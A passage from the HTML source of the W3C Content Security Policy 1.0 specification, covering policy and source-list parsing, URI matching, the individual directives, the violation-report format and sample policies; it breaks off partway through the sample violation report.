<h5>Parsing</h5>\n\n            <p>To <dfn id=\"parse-a-csp-policy\">parse a CSP policy</dfn>\n            <var>policy</var>, the user agent MUST use an algorithm equivalent to\n            the following:</p>\n\n            <ol>\n              <li>Let the <var>set of directives</var> be the empty set.</li>\n\n              <li>For each non-empty token returned by <a\n              href=\"http://www.w3.org/TR/html5/common-microsyntaxes.html#strictly-split-a-string\">strictly\n              splitting</a> the string <var>policy</var> on the character U+003B\n              SEMICOLON (<code>;</code>):\n                <ol>\n                  <li><a href=\"http://www.w3.org/TR/html5/common-microsyntaxes.html#skip-whitespace\">Skip whitespace</a>.</li>\n\n                  <li><a href=\"http://www.w3.org/TR/html5/common-microsyntaxes.html#collect-a-sequence-of-characters\">Collect\n                  a sequence of characters</a> that are not\n                  <a href=\"http://www.w3.org/TR/html5/common-microsyntaxes.html#space-character\">space characters</a>. The\n                  collected characters are the <var>directive name</var>.</li>\n\n                  <li>If there are characters remaining in <var>token</var>,\n                  skip ahead exactly one character (which must be a <a\n                  href=\"http://www.w3.org/TR/html5/common-microsyntaxes.html#space-character\">space\n                  character</a>).</li>\n\n                  <li>The remaining characters in <var>token</var> (if any) are\n                  the <var>directive value</var>.</li>\n\n                  <li>If the <var>set of directives</var> already contains a\n                  directive with name <var>directive name</var>, ignore this\n                  instance of the directive and continue to the next token.</li>\n\n                  <li>Add a <var>directive</var> to the <var>set of\n                  directives</var> with name <var>directive name</var> and value\n                  <var>directive value</var>.</li>\n                </ol>\n              </li>\n\n              <li>Return the <var>set of directives</var>.\n            </ol>\n          </section>\n        </section>\n\n        <section>\n          <h4>Source List</h4>\n\n          <p>Many CSP directives use a value consisting of a <dfn>source\n          list</dfn>.</p>\n\n          <p>Each <dfn>source expression</dfn> in the source list represents a\n          location from which content of the specified type can be retrieved.\n          For example, the source expression <code>'self'</code> represents\n          the set of URIs which are in the same <a href=\"#origin\">origin</a> as the protected\n          resource and the source expression <code>'unsafe-inline'</code>\n          represents content supplied inline in the resource itself.</p>\n\n<pre>\nsource-list       = *WSP [ source-expression *( 1*WSP source-expression ) *WSP ]\n                  / *WSP \"'none'\" *WSP\nsource-expression = scheme-source / host-source / keyword-source\nscheme-source     = scheme \":\"\nhost-source       = [ scheme \"://\" ] host [ port ]\next-host-source   = host-source \"/\" *( &lt;VCHAR except \";\" and \",\"&gt; )\n                  ; ext-host-source is reserved for future use.\nkeyword-source    = \"'self'\" / \"'unsafe-inline'\" / \"'unsafe-eval'\"\nscheme            = &lt;scheme production from RFC 3986&gt;\nhost              = \"*\" / [ \"*.\" ] 1*host-char *( \".\" 1*host-char )\nhost-char         = ALPHA / DIGIT / \"-\"\nport              = \":\" ( 1*DIGIT / \"*\" )\n</pre>\n\n          <section>\n            <h5>Parsing</h5>\n\n            <p>To <dfn id=\"parse-a-source-list\">parse a source list</dfn>\n            <var>source list</var>, the user agent MUST use an algorithm\n            equivalent to the following:</p>\n\n            <ol>\n              <li>If <var>source list</var> (with <a href=\"http://www.w3.org/TR/html5/common-microsyntaxes.html#strip-leading-and-trailing-whitespace\">leading\n              and trailing whitespace stripped</a>) is a case insensitive match\n              for the string <code>'none'</code> (including the quotation\n              marks), return the empty set.</li>\n\n              <li>Let the <var>set of source expressions</var> be the empty set.</li>\n\n              <li>For each token returned by <a href=\"http://www.w3.org/TR/html5/common-microsyntaxes.html#split-a-string-on-spaces\">splitting\n              <var>source list</var> on spaces</a>, if the token matches the\n              grammar for <code>source-expression</code> or\n              <code>ext-host-source</code>, add the token to the <var>set of\n              source expressions</var>.</li>\n\n              <li>Return the <var>set of source expressions</var>.</li>\n            </ol>\n          </section>\n\n          <section>\n            <h5>Matching</h5>\n\n            <p>To check whether a URI <dfn\n            id=\"matches-a-source-expression\">matches a source expression</dfn>,\n            the user agent MUST use an algorithm equivalent to the\n            following:</p>\n\n            <ol>\n              <li>If the source expression a consists of a single U+002A ASTERISK character\n              (<code>*</code>), then return <em>does match</em>.</li>\n\n              <li>If the source expression matches the grammar for\n              <code>scheme-source</code>:\n                <ol>\n                  <li>If the URI's scheme is a case-insensitive match for the\n                  source expression's <code>scheme</code>, return <em>does\n                  match</em>.</li>\n\n                  <li>Otherwise, return <em>does not match</em>.</li>\n                </ol>\n              </li>\n              <li>If the source expression matches the grammar for\n              <code>host-source</code> or <code>ext-host-source</code>:\n                <ol>\n                  <li>If the URI does not contain a host, then return <em>does\n                  not match</em>.</li>\n\n                  <li>Let <var>uri-scheme</var>, <var>uri-host</var>, and\n                  <var>uri-port</var> be the scheme, host, and port of the URI,\n                  respectively. If the URI does not have a port, then let\n                  <var>uri-port</var> be the default port for\n                  <var>uri-scheme</var>.</li>\n\n                  <li>If the source expression has a <code>scheme</code> that is\n                  not a case insensitive match for <var>uri-scheme</var>, then\n                  return <em>does not match</em>.</li>\n\n                  <li>If the source expression does <strong>not</strong> have a\n                  <code>scheme</code> and if <var>uri-scheme</var> is not a case\n                  insensitive match for the scheme of the protected resource's\n                  URI, then return <em>does not match</em>.</li>\n\n                  <li>If the first character of the source expression's\n                  <code>host</code> is an U+002A ASTERISK character\n                  (<code>*</code>) and the remaining characters, including the\n                  leading U+002E FULL STOP character (<code>.</code>), are not a\n                  case insensitive match for the rightmost characters of\n                  <var>uri-host</var>, then return <em>does not match</em>.</li>\n\n                  <li>If the first character of the source expression's\n                  <code>host</code> is <em>not</em> an U+002A ASTERISK\n                  character (<code>*</code>) and <var>uri-host</var> is not a\n                  case insensitive match for the source expression's\n                  <code>host</code>, then return <em>does not match</em>.</li>\n\n                  <li>If the source expression does <strong>not</strong> contain\n                  a <code>port</code> and <var>uri-port</var> is not the default port\n                  for <var>uri-scheme</var>, then return <em>does not match</em>.</li>\n\n                  <li>If the source expression does contain a <code>port</code>\n                  that (a) does <strong>not</strong> contain an U+002A ASTERISK\n                  character (<code>*</code>) and (b) does <strong>not</strong>\n                  represent the same number as <var>uri-port</var>, then return\n                  <em>does not match</em>.</li>\n\n                  <li>Otherwise, return <em>does match</em>.</li>\n                </ol>\n              </il>\n\n              <li>If the source expression is a case insensitive\n              match for <code>'self'</code> (including the quotation marks),\n              then return <em>does match</em> if the URI has the same scheme,\n              host, and port as the protected resource's URI (using the default port\n              for the appropriate scheme if either or both URIs are missing\n              ports).</li>\n\n              <li>Otherwise, return <em>does not match</em>.</li>\n            </ol>\n\n            <p>A URI <dfn id=\"matches-a-source-list\">matches a source\n            list</dfn>, if, and only if, the URI <a\n            href=\"#matches-a-source-expression\">matches at least one source\n            expression</a> in the set of source expressions obtained by <a\n            href=\"#parse-a-source-list\">parsing the source list</a>. Notice that\n            no URIs match an empty set of source expressions, such as the set\n            obtained by parsing the source list <code>'none'</code>.</p>\n          </section>\n        </section>\n      </section>\n\n      <section>\n        <h3>Processing Model</h3>\n\n        <p>To <dfn id=\"enforce\">enforce</dfn> a CSP policy, the user agent MUST\n        <a href=\"#parse-a-csp-policy\">parse the policy</a> and enforce each of\n        the directives contained in the policy, where the specific\n        requirements for enforcing each directive are defined separately for\n        each directive (See <a href=\"#sec-directives\">Directives</a>,\n        below).</p>\n\n        <p>Generally speaking, enforcing a directive prevents the protected\n        resource from performing certain actions, such as loading scripts from\n        URIs other than those indicated in a source list. These restrictions\n        make it more difficult for an attacker to abuse an injection\n        vulnerability in the resource because the attacker will be unable to\n        usurp the resource's privileges that have been restricted in this\n        way.</p>\n\n        <p>Enforcing a CSP policy SHOULD NOT interfere with the operation of\n        user-supplied scripts such as third-party user-agent add-ons and\n        JavaScript bookmarklets.</p>\n\n        <p>To <dfn id=\"monitor\">monitor</dfn> a CSP policy, the user agent MUST\n        <a href=\"#parse-a-csp-policy\">parse the policy</a> and monitor each of\n        the directives contained in the policy.</p>\n\n        <p>Monitoring a directive does not prevent the protected resource from\n        undertaking any actions. Instead, any actions that would have been\n        prevented by the directives are instead reported to the developer of\n        the web application. Monitoring a CSP policy is useful for testing\n        whether enforcing the policy will cause the web application to\n        malfunction.</p>\n\n        <p>A server MAY cause user agents to monitor one policy while enforcing\n        another policy by returning both <code>Content-Security-Policy</code>\n        and <code>Content-Security-Policy-Report-Only</code> header fields.\n        For example, if a server operator is using one policy but wishes to\n        experiment with a stricter policy, the server operator can monitor\n        the stricter policy while enforcing the original policy. Once the\n        server operator is satisfied that the stricter policy does not break\n        the web application, the server operator can start enforcing the\n        stricter policy.</p>\n\n        <p>If the user agent monitors or enforces a CSP policy that does not\n        contain any directives, the user agent SHOULD report a warning message\n        in the developer console.</p>\n\n        <p>If the user agent monitors or enforces a CSP policy that contains\n        an unrecognized directive, the user agent SHOULD report a warning\n        message in the developer console indicating the name of the\n        unrecognized directive.</p>\n\n        <p>Whenever a user agent <a\n        href=\"http://www.w3.org/TR/workers/#run-a-worker\">runs a worker</a>:\n        [[!WEBWORKERS]]</p>\n\n        <ul>\n          <li>If the user agent is enforcing a CSP policy for the <var>owner\n          document</var>, the user agent MUST enforce the CSP policy for the\n          worker.</li>\n\n          <li>If the user agent is monitoring a CSP policy for the <var>owner\n          document</var>, the user agent MUST monitor the CSP policy for the\n          worker.</li>\n        </ul>\n      </section>\n    </section>\n\n    <section>\n      <h2 id=\"sec-directives\">Directives</h2>\n\n      <p>This section describes the content security policy directives\n      introduced in this specification.</p>\n\n      <p>In order to protect against Cross-Site Scripting (XSS), web\n      application authors SHOULD include\n      <ul>\n        <li>both the <code>script-src</code> and <code>object-src</code>\n        directives, or</li>\n\n        <li>include a <code>default-src</code> directive, which covers both\n        scripts and plugins.</li>\n      </ul>\n\n      <p>In either case, authors SHOULD NOT include\n      <code>'unsafe-inline'</code> in their CSP policies if they wish to\n      protect themselves against XSS.</p>\n\n      <section>\n        <h3><code>default-src</code></h3>\n\n        <p>The <code>default-src</code> directive sets a default source list\n        for a number of directives. The syntax for the name and value of the\n        directive are described by the following ABNF grammar:</p>\n\n<pre>\ndirective-name    = \"default-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>Let the <var>default sources</var> be the result of <a\n        href=\"#parse-a-source-list\">parsing the directive's value as a\n        source list</a>.</p>\n\n        <p>To enforce the <code>default-src</code> directive, the user agent\n        MUST enforce the following directives:</p>\n        <ul>\n          <li>script-src</li>\n          <li>object-src</li>\n          <li>style-src</li>\n          <li>img-src</li>\n          <li>media-src</li>\n          <li>frame-src</li>\n          <li>font-src</li>\n          <li>connect-src</li>\n        </ul>\n\n        <p>If not specified explicitly in the policy, the directives listed\n        above will use the <var>default sources</var>.</p>\n      </section>\n\n      <section>\n        <h3><code>script-src</code></h3>\n\n        <p>The <code>script-src</code> directive restricts which scripts the\n        protected resource can execute. The directive also controls other\n        resources, such as XSLT style sheets [[!XSLT]], which can cause the\n        user agent to execute script. The syntax for the name and value of\n        the directive are described by the following ABNF grammar:</p>\n\n<pre>\ndirective-name    = \"script-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>If the policy contains an explicit <code>script-src</code>, let the\n        <var>allowed script sources</var> be the result of <a\n        href=\"#parse-a-source-list\">parsing the directive's value as a source\n        list</a>. Otherwise, let the <var>allowed script sources</var> be the\n        <var>default sources</var></p>\n\n        <p>If <code>'unsafe-inline'</code> is <strong>not</strong> in\n        <var>allowed script sources</var>:</p>\n        <ul>\n          <li>Whenever the user agent would execute an inline script (either\n          from a <code>script</code> element or from an inline event handler),\n          instead the user agent MUST NOT execute script.</li>\n\n          <li>Whenever the user agent would execute script contained in a\n          <code>javascript</code> URI, instead the user agent MUST NOT execute\n          the script. (The user agent SHOULD execute script contained in\n          \"bookmarklets\" even when enforcing this restriction.)</li>\n        </ul>\n\n        <p>If <code>'unsafe-eval'</code> is <strong>not</strong> in\n        <var>allowed script sources</var>:</p>\n        <ul>\n          <li>Instead of evaluating their arguments, both operator\n          <code>eval</code> and function <code>eval</code>\n          MUST throw a security exception. [[!ECMA-262]]</li>\n\n          <li>When called as a constructor, the function <code>Function</code>\n          MUST throw a security exception. [[!ECMA-262]]</li>\n\n          <li>When called with a first argument that is non-callable (e.g.,\n          not a function), the\n          <a href=\"http://www.w3.org/TR/html5/timers.html#dom-windowtimers-settimeout\"><code>setTimeout</code></a>\n          function MUST return zero without creating a timer.</li>\n\n          <li>When called with a first argument that is non-callable (e.g.,\n          not a function), the\n          <a href=\"http://www.w3.org/TR/html5/timers.html#dom-windowtimers-setinterval\"><code>setInterval</code></a>\n          function MUST return zero without creating a timer.</li>\n        </ul>\n\n        <p>The term <dfn>callable</dfn> refers to an object whose interface\n        has one or more <dfn>callers</dfn> as defined in the <a\n        href=\"http://www.w3.org/TR/2010/WD-WebIDL-20101021/#idl-callers\">Web\n        IDL</a> specification [[!WEBIDL]].</p>\n\n        <p>Whenever the user agent <a\n        href=\"http://www.w3.org/TR/html5/fetching-resources.html#fetch\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a\n        href=\"#matches-a-source-list\">match the <var>allowed script\n        sources</var></a>, the user agent MUST act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>:</p>\n        <ul>\n          <li>Requesting a script, such as when processing the\n          <code>src</code> attribute of a <code>script</code> element or when\n          processing the <code>Worker</code> or <code>SharedWorker</code>\n          constructors.</li>\n\n          <li>Requesting an Extensible Stylesheet Language Transformations\n          (XSLT) [[!XSLT]], such as when processing the\n          <code>&lt;?xml-stylesheet?&gt;</code> processing directive in an XML\n          document [[!XML11]], the <code>href</code> attributes on\n          <code>&lt;xsl:include&gt;</code> element, or the <code>href</code>\n          attributes on <code>&lt;xsl:import&gt;</code> element.</li>\n        </ul>\n      </section>\n      <section>\n        <h3><code>object-src</code></h3>\n\n        <p>The <code>object-src</code> directive restricts from where the\n        protected resource can load plugins. The syntax for the name and value\n        of the directive are described by the following ABNF grammar:</p>\n\n<pre>\ndirective-name    = \"object-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>If the policy contains an explicit <code>object-src</code>, let the\n        <var>allowed object sources</var> be the result of <a\n        href=\"#parse-a-source-list\">parsing the directive's value as a source\n        list</a>. Otherwise, let the <var>allowed object sources</var> be the\n        <var>default sources</var></p>\n\n        <p>Whenever the user agent <a\n        href=\"http://www.w3.org/TR/html5/fetching-resources.html#fetch\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a\n        href=\"#matches-a-source-list\">match the <var>allowed object\n        sources</var></a>, the user agent MUST act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>:</p>\n        <ul>\n          <li>Requesting data for a plugin, such as when processing the\n          <code>data</code> attribute of an <code>object</code> element, the\n          <code>src</code> attribute of an <code>embed</code> elements, or the\n          <code>code</code> or <code>archive</code> attributes of an\n          <code>applet</code> element.</li>\n\n          <li>Requesting data for display in a\n          <a href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-contexts\">nested browsing context</a>\n          in the protected resource created by an <code>object</code> or an\n          <code>embed</code> element.</li>\n\n          <li>Navigating such a <a href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-contexts\">nested browsing context</a>.</li>\n        </ul>\n\n        <p>It is not required that the consumer of the element's data be a\n        plugin in order for the <code>object-src</code> directive to be\n        enforced.  Data for any <code>object</code>, <code>embed</code>,\n        or <code>applet</code> element MUST match the <var>allowed object\n        sources</var> in order to be fetched.  This is true even when the\n        element data is semantically equivalent to content which would otherwise\n        be restricted by one of the other <a href=\"#directives\">directives</a>,\n        such as an <code>object</code> element with a <code>text/html</code>\n        MIME type.</p>\n\n        <p>Whenever the user agent would load a plugin without an associated\n        URI (e.g., because the <code>object</code> element lacked a\n        <code>data</code> attribute), if the protected resource's URI does not\n        <a href=\"#matches-a-source-list\">match the <var>allowed object\n        sources</var></a>, the user agent MUST NOT load the plugin.</p>\n      </section>\n\n      <section>\n        <h4><code>style-src</code></h4>\n\n        <p>The <code>style-src</code> directive restricts which styles the\n        user applies to the protected resource. The syntax for the name and\n        value of the directive are described by the following ABNF\n        grammar:</p>\n\n<pre>\ndirective-name    = \"style-src\"\ndirective-value   = source-list\n</pre>\n\n\n        <p>If the policy contains an explicit <code>style-src</code>, let the\n        <var>allowed style sources</var> be the result of <a\n        href=\"#parse-a-source-list\">parsing the directive's value as a source\n        list</a>. Otherwise, let the <var>allowed style sources</var> be the\n        <var>default sources</var></p>\n\n        <p>If <code>'unsafe-inline'</code> is <strong>not</strong> in\n        <var>allowed style sources</var>:</p>\n        <ul>\n          <li>Whenever the user agent would apply style from a\n          <code>style</code> element, instead the user agent <code>MUST</code>\n          ignore the style.</li>\n\n          <li>Whenever the user agent would apply style from a\n          <code>style</code> attribute, instead the user agent\n          <code>MUST</code> ignore the style.</li>\n        </ul>\n\n        <p>Note: These restrictions on inline do not prevent the user agent\n        from applying style from an external stylesheet (e.g., found via\n        <code>&lt;link rel=\"stylesheet\"&gt;</code>). The user agent is also\n        not prevented from applying style from Cascading Style Sheets Object\n        Model (CSSOM). [[!CSSOM]]</p>\n\n        <p>Whenever the user agent <a\n        href=\"http://www.w3.org/TR/html5/fetching-resources.html#fetch\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a\n        href=\"#matches-a-source-list\">match the <var>allowed style\n        sources</var></a>, the user agent MUST act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>:</p>\n        <ul>\n          <li>Requesting external style sheets, such as when processing the\n          <code>href</code> attribute of a <code>link</code> element with a\n          <code>rel</code> attribute containing the token\n          <code>stylesheet</code> or when processing the <code>@import</code>\n          directive in a stylesheet.</li>\n        </ul>\n\n        <p>Note: The <code>style-src</code> directive does not restrict the\n        use of XSLT. XSLT is restricted by the <code>script-src</code>\n        directive because the security consequences of including an untrusted\n        XSLT stylesheet are similar to those incurred by including an\n        untrusted script.</p>\n      </section>\n\n      <section>\n        <h4><code>img-src</code></h4>\n\n        <p>The <code>img-src</code> directive restricts from where the\n        protected resource can load images. The syntax for the name and value\n        of the directive are described by the following ABNF grammar:</p>\n\n<pre>\ndirective-name    = \"img-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>If the policy contains an explicit <code>img-src</code>, let the\n        <var>allowed image sources</var> be the result of <a\n        href=\"#parse-a-source-list\">parsing the directive's value as a source\n        list</a>. Otherwise, let the <var>allowed image sources</var> be the\n        <var>default sources</var></p>\n\n        <p>Whenever the user agent <a\n        href=\"http://www.w3.org/TR/html5/fetching-resources.html#fetch\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a\n        href=\"#matches-a-source-list\">match the <var>allowed image\n        sources</var></a>, the user agent MUST act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>:</p>\n        <ul>\n          <li>Requesting data for an image, such as when processing the\n          <code>src</code> attribute of an <code>img</code> elements,\n          the <code>url()</code> or <code>image()</code> values on any\n          Cascading Style Sheets (CSS)\n          property that is capable of loading an image [<em><a\n          href=\"http://www.w3.org/TR/css3-images/\">CSS3-Images</a></em>], or\n          the <code>href</code> attribute of a <code>link</code> element with\n          an image-related <code>rel</code> attribute, such as\n          <code>icon</code>.</li>\n        </ul>\n      </section>\n\n      <section>\n        <h4><code>media-src</code></h4>\n\n        <p>The <code>media-src</code> directive restricts from where the\n        protected resource can load video and audio. The syntax for the name\n        and value of the directive are described by the following ABNF\n        grammar:</p>\n\n<pre>\ndirective-name    = \"media-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>If the policy contains an explicit <code>media-src</code>, let the\n        <var>allowed media sources</var> be the result of <a\n        href=\"#parse-a-source-list\">parsing the directive's value as a source\n        list</a>. Otherwise, let the <var>allowed media sources</var> be the\n        <var>default sources</var></p>\n\n        <p>Whenever the user agent <a\n        href=\"http://www.w3.org/TR/html5/fetching-resources.html#fetch\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a\n        href=\"#matches-a-source-list\">match the <var>allowed media\n        sources</var></a>, the user agent MUST act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>:</p>\n        <ul>\n          <li>Requesting data for a video or audio clip, such as when\n          processing the <code>src</code> attribute of a <code>video</code>,\n          <code>audio</code>, <code>source</code>, or <code>track</code>\n          elements.</li>\n        </ul>\n      </section>\n\n      <section>\n        <h4><code>frame-src</code></h4>\n\n        <p>The <code>frame-src</code> directive restricts from where the\n        protected resource can embed frames. The syntax for the name\n        and value of the directive are described by the following ABNF\n        grammar:</p>\n\n<pre>\ndirective-name    = \"frame-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>If the policy contains an explicit <code>frame-src</code>, let the\n        <var>allowed frame sources</var> be the result of <a\n        href=\"#parse-a-source-list\">parsing the directive's value as a source\n        list</a>. Otherwise, let the <var>allowed frame sources</var> be the\n        <var>default sources</var></p>\n\n        <p>Whenever the user agent <a\n        href=\"http://www.w3.org/TR/html5/fetching-resources.html#fetch\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a\n        href=\"#matches-a-source-list\">match the <var>allowed frame\n        sources</var></a>, the user agent MUST act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>:</p>\n        <ul>\n          <li>Requesting data for display in a <a href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-contexts\">nested browsing context</a> in the\n          protected resource created by an <code>iframe</code> or\n          a <code>frame</code> element.</li>\n\n          <li><a href=\"http://www.w3.org/TR/html5/history.html#navigate\">Navigating</a>\n          such a <a href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-contexts\">nested browsing context</a>.</li>\n        </ul>\n      </section>\n\n      <section>\n        <h4><code>font-src</code></h4>\n\n        <p>The <code>font-src</code> directive restricts from where the\n        protected resource can load fonts. The syntax for the name and value\n        of the directive are described by the following ABNF grammar:</p>\n\n<pre>\ndirective-name    = \"font-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>If the policy contains an explicit <code>font-src</code>, let the\n        <var>allowed font sources</var> be the result of <a\n        href=\"#parse-a-source-list\">parsing the directive's value as a source\n        list</a>. Otherwise, let the <var>allowed font sources</var> be the\n        <var>default sources</var></p>\n\n        <p>Whenever the user agent <a\n        href=\"http://www.w3.org/TR/html5/fetching-resources.html#fetch\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a\n        href=\"#matches-a-source-list\">match the <var>allowed font\n        sources</var></a>, the user agent MUST act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>:</p>\n        <ul>\n          <li>Requesting data for display in a font, such as when processing\n          the <code>@font-face</code> Cascading Style Sheets (CSS) rule.</li>\n        </ul>\n      </section>\n\n      <section>\n        <h4><code>connect-src</code></h4>\n\n        <p>The <code>connect-src</code> directive restricts which URIs the\n        protected resource can load using script interfaces. The syntax for\n        the name and value of the directive are described by the following ABNF\n        grammar:</p>\n\n<pre>\ndirective-name    = \"connect-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>If the policy contains an explicit <code>connect-src</code>, let\n        the <var>allowed connection targets</var> be the result of <a\n        href=\"#parse-a-source-list\">parsing the directive's value as a source\n        list</a>. Otherwise, let the <var>allowed connection targets</var> be\n        the <var>default sources</var></p>\n\n        <p>Whenever the user agent <a\n        href=\"http://www.w3.org/TR/html5/fetching-resources.html#fetch\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a\n        href=\"#matches-a-source-list\">match the <var>allowed connection\n        targets</var></a>, the user agent MUST act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>:</p>\n        <ul>\n          <li>Processing the <a\n          href=\"http://www.w3.org/TR/XMLHttpRequest/#the-open-method\"><code>open()</code>\n          method</a> of an <code>XMLHttpRequest</code> object.</li>\n\n          <li>Processing the <a\n          href=\"http://dev.w3.org/html5/websockets/#websocket\"><code>WebSocket</code>\n          constructor</a>.</li>\n\n          <li>Processing the <a\n          href=\"http://dev.w3.org/html5/eventsource/#eventsource\"><code>EventSource</code>\n          constructor</a>.</li>\n        </ul>\n      </section>\n\n      <section>\n        <h4><code>sandbox</code> (Optional)</h4>\n\n        <p>The <code>sandbox</code> directive is optional.</p>\n\n        <p>The <code>sandbox</code> directive specifies an HTML sandbox policy\n        that the user agent applies to the protected resource. The syntax for\n        the name and value of the directive are described by the following\n        ABNF grammar:</p>\n\n<pre>\ndirective-name    = \"sandbox\"\ndirective-value   = token *( 1*WSP token )\ntoken             = &lt;token from RFC 2616&gt;\n</pre>\n\n        <p>When enforcing the <code>sandbox</code> directive, a user agent that supports the\n        <code>sandbox</code> directive\n        MUST <a href=\"http://dev.w3.org/html5/spec/single-page.html#parse-a-sandboxing-directive\">parse\n        the sandboxing directive</a> using the <code>directive-value</code>\n        as the <em>input</em> and protected resource's\n        <a href=\"http://dev.w3.org/html5/spec/single-page.html#forced-sandboxing-flag-set\">forced sandboxing flag set</a>\n        as the output. [[!HTML5]]</p>\n      </section>\n\n      <section>\n        <h4><code>report-uri</code></h4>\n\n        <p>The <code>report-uri</code> directive specifies a URI to which the\n        user agent sends reports about policy violation. The syntax for the\n        name and value of the directive are described by the following ABNF\n        grammar:</p>\n\n<pre>\ndirective-name    = \"report-uri\"\ndirective-value   = uri-reference *( 1*WSP uri-reference )\nuri-reference     = &lt;URI-reference from RFC 3986&gt;\n</pre>\n\n        <p>Let the <var>set of report URIs</var> be the value of the\n        <code>report-uri</code> directive, each resolved relative to the\n        protected resource's URI.</p>\n\n        <p>To <dfn id=\"send-a-violation-report\">send a violation report</dfn>,\n        the user agent MUST use an algorithm equivalent to the following:</p>\n        <ol>\n          <li>Prepare a JSON object <var>violation-object</var> with the\n          following keys and values: [[!RFC4627]]\n            <dl>\n              <dt>csp-report</dt>\n              <dd>A JSON object containing the following keys and values:\n                <dl>\n                  <dt>document-uri</dt>\n                  <dd>The <a href=\"http://www.w3.org/TR/html5/dom.html#the-document-s-address\">address</a>\n                  of the protected resource, with any\n                  <a href=\"http://www.w3.org/TR/html5/urls.html#url-fragment\">&lt;fragment&gt;</a>\n                  component removed</dd>\n\n                  <dt>referrer</dt>\n                  <dd>The <a href=\"http://www.w3.org/TR/html5/dom.html#dom-document-referrer\">referrer</a>\n                  attribute of the protected resource</dd>\n\n                  <dt>blocked-uri</dt>\n                  <dd>URI of the resource that was prevented from loading due to\n                  the policy violation, with any\n                  <a href=\"http://www.w3.org/TR/html5/urls.html#url-fragment\">&lt;fragment&gt;</a>\n                  component removed</dd>\n\n                  <dt>violated-directive</dt>\n                  <dd>The policy directive that was violated</dd>\n\n                  <dt>original-policy</dt>\n                  <dd>The original policy as received by the user-agent.</dd>\n                </dl>\n              </dd>\n            </dl>\n          </li>\n\n          <li>If the origin of the blocked-uri is not the same as the origin of\n          the protected resource, then replace the blocked-uri with the ASCII\n          serialization of the blocked-uri's origin.</li>\n\n          <li>Let the <var>violation report</var> be the JSON stringification\n          of the <var>violation-object</var>.</li>\n\n          <li>For each <var>report URI</var> in the <var>set of report URIs</var>:\n            <ol>\n              <li><a href=\"http://www.w3.org/TR/html5/urls.html#fetch\">Fetch</a>\n              the <var>report URI</var> from origin of the protected\n              resource, with the synchronous flag <em>not</em> set, using HTTP\n              method <code>POST</code>, with a <code>Content-Type</code>\n              header field of <code>application/json</code> with an entity\n              body consisting of the <var>violation report</var>. The user\n              agent MUST NOT follow redirects when fetching this resource.\n              (Note: The user agent ignores the fetched resource.)</li>\n            </ol>\n          </li>\n        </ol>\n      </section>\n    </section>\n\n    <section>\n      <h2>Examples</h2>\n\n      <section class=\"informative\">\n        <h3>Sample Policy Definitions</h3>\n\n        <p>This section provides some sample use cases and accompanying security policies.</p>\n\n        <p><strong>Example 1:</strong> A server wishes to load resources only\n        form its own origin:</p>\n\n        <pre>Content-Security-Policy: default-src 'self'</pre>\n\n        <p><strong>Example 2:</strong> An auction site wishes to load images\n        from any URI, plugin content from a list of trusted media providers\n        (including a content distribution network), and scripts only from a\n        server under its control hosting sanitized ECMAScript:</p>\n\n        <pre>Content-Security-Policy: default-src 'self'; img-src *;\n                         object-src media1.example.com media2.example.com *.cdn.example.com;\n                         script-src trustedscripts.example.com</pre>\n\n        <p><strong>Example 3:</strong> Online banking site wishes to ensure that all of the content\n        in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content\n        requests:</p>\n\n        <pre>Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval'</pre>\n\n        <p>This policy allows inline content (such as inline <code>script</code> elements), use of\n        <code>eval</code>, and loading resources over <code>https</code>.  Note: This policy does\n        not provide any protection from cross-site scripting vulnerabilities.\n\n        <p><strong>Example 4:</strong> A social network wishes to ensure that all scripts are loaded\n        from a specific path to prevent user-generated content from being interpreted as script:</p>\n\n        <pre>Content-Security-Policy: default-src 'self'; script-src https://example.com/js/</pre>\n\n        <p>Unfortunately, this use case is not supported in CSP 1.0. The user agent will ignore\n        the path and act as if the policy contained a <code>script-src</code> directive with value\n        <code>https://example.com</code>. A future version of CSP might begin enforcing these path\n        restrictions, however.</p>\n      </section>\n\n      <section class=\"informative\">\n        <h3>Sample Violation Report</h3>\n\n        <p>This section contains an example violation report the user agent\n        might sent to a server when the protected resource violations a sample\n        policy.</p>\n\n        <p>In the following example, the user agent rendered a representation\n        of the resource <code>http://example.org/page.html</code> with the\n        following CSP policy:</p>\n\n<pre>default-src 'self'; report-uri http://example.org/csp-report.cgi</pre>\n\n        <p>The protected resource loaded an image from\n        <code>http://evil.example.com/image.png</code>, violating the\n        policy.</p>\n\n        <pre>{\n  \"csp-report\": {\n    